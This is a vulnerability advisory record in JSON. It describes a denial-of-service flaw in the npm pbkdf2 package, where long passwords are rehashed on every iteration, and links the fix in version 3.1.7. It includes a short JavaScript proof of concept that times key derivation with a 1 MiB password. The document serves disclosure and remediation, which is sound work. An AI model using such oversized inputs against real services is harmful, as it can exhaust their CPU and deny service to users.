{"id":"CVE-2026-102414","aliases":["GHSA-477h-4r7f-fvrx"],"url":"https://o3.security/vulnerability/CVE-2026-102414","summary":"pbkdf2 rehashes long passwords on every iteration, enabling denial of service","details":"### Summary\nThis is the same bug as Django had (CVE-2013-1443).\n\n### Details\nA long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60\n\nAlso see https://github.com/browserify/pbkdf2/issues/82\n\n### PoC\nThe first key will take a lot longer to generate when not using the native code and uses code from `/lib/sync.js` (ie when this if statement is true):\nhttps://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37\n\n```js\nvar pbkdf2 = require('pbkdf2');\nvar createHash = require('create-hash');\nvar pw = \".\".repeat(1048576); // 1 MiB\n\nvar t0 = performance.now();\nvar key1 = pbkdf2.pbkdf2Sync(pw, \"salt\", 1000, 32, \"sha256\");\nvar t1 = performance.now();\npw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size\nvar key2 = pbkdf2.pbkdf2Sync(pw, \"salt\", 1000, 32, \"sha256\");\nvar t2 = performance.now();\n\nconsole.log(\"First took:  \" + (t1 - t0));\nconsole.log(\"Second took: \" + (t2 - t1));\nconsole.log(\"Generated keys:\");\nconsole.log(key1);\nconsole.log(key2);\n```\n\n### Impact\nDoS","published":"2026-09-29T03:42:04.950Z","modified":"2026-10-21T02:54:28.034404996Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"pbkdf2","fixedVersion":"3.1.7"}],"fix":{"url":"https://github.com/browserify/pbkdf2/commit/493d8d8","label":"browserify/pbkdf2@493d8d8"},"references":[{"type":"WEB","url":"https://www.npmjs.com"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102414.json"},{"type":"ADVISORY","url":"https://github.com/browserify/pbkdf2/security/advisories/GHSA-477h-4r7f-fvrx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102414"},{"type":"REPORT","url":"https://github.com/browserify/pbkdf2/issues/82"},{"type":"FIX","url":"https://github.com/browserify/pbkdf2/commit/493d8d8"},{"type":"PACKAGE","url":"https://github.com/browserify/pbkdf2"},{"type":"WEB","url":"https://github.com/browserify/pbkdf2/commit/493d8d8ff437f680338bf7397398fda884ad462e"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:54:28.034404996Z"}}